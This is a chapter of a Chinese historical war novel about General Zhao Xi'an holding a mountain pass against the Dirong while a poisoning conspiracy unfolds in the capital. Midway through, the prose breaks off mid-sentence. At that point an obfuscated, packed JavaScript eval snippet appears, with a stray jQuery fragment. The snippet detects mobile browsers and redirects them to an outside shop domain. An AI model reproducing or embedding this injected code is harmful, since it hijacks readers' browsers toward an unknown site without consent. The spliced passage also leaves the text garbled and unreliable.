狄戎的正面佯攻变得频繁而猛烈，每日天光未亮，低沉的号角便撕裂寒冷的空气，紧接着是黑压压的狄戎步兵扛着简陋的云梯，在弓箭和投石的掩护下，如同潮水般涌向隘口城墙。
箭矢如蝗，礌石滚木如雨，每一次冲锋都在夯土包砖的城墙上留下新的伤痕和暗红色的污迹。
守军将士在赵曦安的亲自督战和身先士卒下，爆发出了惊人的韧性。缺口的垛口后，疲惫的士卒瞪着一双双熬红的眼睛，机械地重复着拉弓、放箭、砸下滚石的动作。
伤亡每日都在增加，担架抬下的伤员很快将后方的军帐填满，哀嚎声、金疮药和血腥气混合在一起，构成战场最真实的背景。
赵曦安几乎日夜待在城头。墨色的甲胄上沾满了尘土、汗渍和不知是谁的血迹。他睡眠极少，往往只是在敌退的间隙，靠着冰冷的城墙阖眼片刻，一旦有变，立刻便能跃起。
他亲自检查每一处防御薄弱环节，调配有限的兵力，鼓舞低落的士气。他的冷静和果决，成了这支疲惫之师最大的定心丸。
士卒们私下议论，将军那双眼睛，比狄戎人的刀还利，有他在，隘口就破不了。
然而，后方的麻烦也接踵而至。正如阿史那咄苾所期望的，两翼狄戎骑兵的袭扰虽然未能造成大规模的破坏，但成功制造了恐慌。
数个靠近前线的村庄遭袭，尽管百姓提前有所准备，仍有死伤，粮草被焚。
更糟糕的是，通往鹰愁隘的几条主要粮道都受到了不同程度的威胁，运粮车队被迫绕行或增加护卫，效率大减，损耗剧增。军中存粮以肉眼可见的速度减少，韩遂每日呈报的粮草数目都让赵曦安心头更沉一分。
朝廷承诺的补给依旧遥遥无期。兵部、户部的公文往来尽是推诿扯皮，幽、并、凉三州倒是筹措了些粮草，但杯水车薪，且运送途中损耗惊人也延误严重。
减饷两成的命令已下，士卒们每日只能分到勉强果腹的粗糙食物，怨言开始在底层悄悄滋生。受伤的士卒因为缺医少药，死亡率悄然攀升。
这日傍晚，又一次击退狄戎的进攻后，赵曦安拖着疲惫的身躯回到大帐。亲兵打来冰凉的溪水，他胡乱抹了把脸，水珠顺着他棱角分明的下颌滚落，混着尘土，在脸上冲出几道沟壑。
他坐到帅案后，看着韩遂送来的最新粮草统计和伤亡名单，眉头紧锁。
“将军，”韩遂的声音带着压抑的焦灼，“今日又折了二十七名弟兄，重伤四十余。药材……特别是金疮药和止血散，已经见底了。粮食也只够五日之用，若后日补给还不到……”
“知道了。”赵曦安打断他，声音沙哑。他揉了揉突突直跳的太阳穴，目光落在地图上鹰愁隘后方的一条隐秘山路上。
那条路崎岖难行，但或许可以绕过狄戎游骑的封锁，从更远的州郡直接征调少量急用物资。“派人，持我手令，走黑风峡那条小路，去凉州最东面的安平镇。那里有我一位故交，是做药材生意的，家中应有存粮。告诉他，是赵曦安借的，战后十倍奉还，或由朝廷核销。务必在五日内，带回一批金疮药、止血散，和至少够全军三日之用的干粮。”
“黑风峡？”韩遂一惊，“那里地势险恶，时有山匪出没……”
“顾不得那么多了。”赵曦安斩钉截铁，“挑二十个最机警、身手最好的弟兄，扮作行商，连夜出发。多带金银，若遇山匪，能买路则买路，不能……便杀过去。”
“是！”韩遂知道这是无奈之下的险棋，但见将军主意已定，不再多言，领命而去。
帐内重新恢复寂静。赵曦安靠在椅背上，闭上眼。身体极度疲惫，脑子里却异常清醒
这场战争，远不止是战场上的刀光剑影。
狄戎大营，金狼王帐。
“哦？赵曦安派人走了黑风峡？”阿史那咄苾斜倚在白虎皮上，听着探子的回报，暗金色的眸子里闪过一丝玩味。
他手里把玩着一柄镶满宝石的匕首，锋利的刀刃在烛光下折射出冷冽的光芒。“看来咱们的赵将军，是真的急了。粮草不济，伤药匮乏……啧啧，大周这棵大树，里面怕是早就被蛀空了。”
他抬眼看向静立一旁的谢中山：“国师，你说，咱们是半路劫了这支小队，让赵曦安雪上加霜呢，还是……放他们过去？”
谢中山一身白衣，在昏暗的王帐中显得格外醒目。他浅灰色的眸子平静无波，声音清冷：“劫杀小队，固然可断其一时希望，但也可能打草惊蛇，让赵曦安更加警惕，或另寻他途。不若……放其过去。”
“放过去？”阿史那咄苾挑眉。
“是。”谢中山微微颔首，“赵曦安既出此下策，说明其军中困境已极。即便这批物资运到，也不过是杯水车薪，延缓数日而已。我军只需维持正面压力，不断消耗其兵力士气，同时加大两翼袭扰，令其后方永无宁日。待其粮尽援绝，军心溃散之时，鹰愁隘不攻自破。届时，那批费尽周折运来的物资，不过是为我军准备的战利品罢了。”
阿史那咄苾盯着谢中山看了片刻，忽然哈哈大笑起来，笑声畅快却冰冷：“国师果然深谙兵法，不战而屈人之兵，善之善者也。好！就依国师之言，让那支小队过去。传令两翼，袭扰力度再加三成！本王要讓赵曦安，前后左右，无一寸安生之地！”
“是！”帐外侍从高声应命。
阿史那咄苾笑罢，目光重新落回谢中山身上，那暗金色的眸子里探究之色更浓：“国师似乎……对这位赵将军颇为熟悉？连他会走黑风峡，急需何物，都能料中？”
谢中山神色不变，语气依旧平淡：“知己知彼，百战不殆。赵曦安用兵习惯、性格弱点，战前早已多方搜集研判。其用兵喜正奇相合，善险中求胜。如今陷入绝境，行险一搏，乃是其本性使然，不难推测。至于所需物资，观其近日防御强度与伤亡，亦可推知。”
这番解释合情合理。但阿史那咄苾心中那点疑虑并未完全消除。他这个国师，知道得似乎总是比该知道的多那么一点。
不过，眼下正是用人之际，谢中山的才智谋略确实助他良多，些许疑点，暂且按下。
“国师高见。”阿史那咄苾笑了笑，不再追问，转而道，“大周内部如今乱象已显，咱们这把火，烧得正是时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550384|204302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。只待鹰愁隘一破，大军南下，便可直捣黄龙！届时，中原花花世界，尽归我狄戎所有！国师当居首功！”
谢中山微微躬身：“臣不敢居功，唯愿辅佐陛下，成就霸业。”他低垂的眼帘下，浅灰色的眸子里，一片冰封的沉寂，映不出丝毫对“霸业”的渴望或兴奋，只有一片亘古不变的冷漠。
京城，将军府。
与北境的杀声震天、狄戎大营的杀机暗藏相比，将军府内的寂静，更像一种绷紧到极致压抑的等待。
何音带来的消息越来越让人心惊——五公主终究没能撑过去，在三公主薨逝后第十三日，也悄无声息地“病故”了，丧仪比三公主更加草率。
怀王郑轩虽然能起身，但闭门不出，其府邸周围似乎多了些不明身份的监视之人。
皇帝郑晚的病情似乎稳定了些，偶尔能临朝听政，但精神不济，对北境战事除了例行公事的催促粮草，并无更多实质性举措，对皇室接连的“病故”也讳莫如深。
朝中关于战、和的争论日益激烈，主和派的声音隐隐有抬头之势。
最让郑阁心头沉重的是关于“清身净”的线索。何音的人几经周折，查到当年那名参与“净尘”任务、后隐匿在四王爷郑州皇庄的旧军官，就在三日前，被人发现死于庄外一处山林，表面看是失足坠崖，但何音查验后断定是他杀。
线索再次断了。而郑州依旧深居简出，对庄头之死毫无反应。
这日深夜，何音再次悄然现身，脸色比往日更加凝重。
“王爷，有北境消息。”何音压低声音，“将军派出的求援小队已按计划出发，但狄戎似乎有所察觉，两翼袭扰加剧。军中粮草仅够数日，伤药奇缺。另外……”他迟疑了一下，“我们潜伏在狄戎内部的眼线冒死传出消息，狄戎国师谢中山，似乎对‘清身净’之毒有所了解，但语焉不详。阿史那咄苾对其颇为倚重，但也存有疑心。”
谢中山？郑阁猛地想起赵曦安札记中曾寥寥提过此人，只说是狄戎新任汗王身边的神秘谋士，来历不明，才智超群，尤擅医药占卜。此人竟也牵扯到“清身净”？
“还有，”何音的声音更低了，“宫中线报，陛下近日……曾秘密召见过四王爷。具体所谈何事，无从得知。但四王爷离宫时，神色如常。”
四哥？郑阁的心猛地一沉。这时候召见绝对没有好事。
他下意识地握紧了颈间的墨玉令牌，和怀中那柄短匕。冰凉的触感让他稍微冷静。
“何统领，”郑阁听到自己的声音，嘶哑却异常清晰，“将军留下的暗线，除了护卫府邸，可能探查到更多关于谢中山，以及……四王爷近日动向的消息？尤其是，四王爷与宫外，特别是与药材、毒物相关人等的接触。”
何音眼中闪过一丝讶异，似乎没想到这位一向显得孱弱被动的王爷会主动提出探查方向。他立刻躬身：“属下明白。会加派人手，重点探查这两条线。王爷放心，府中安全，属下等必竭尽全力。”
郑阁点了点头，没再说话。
何音悄声退下。郑阁独自坐在黑暗中，望着窗外无星的夜空。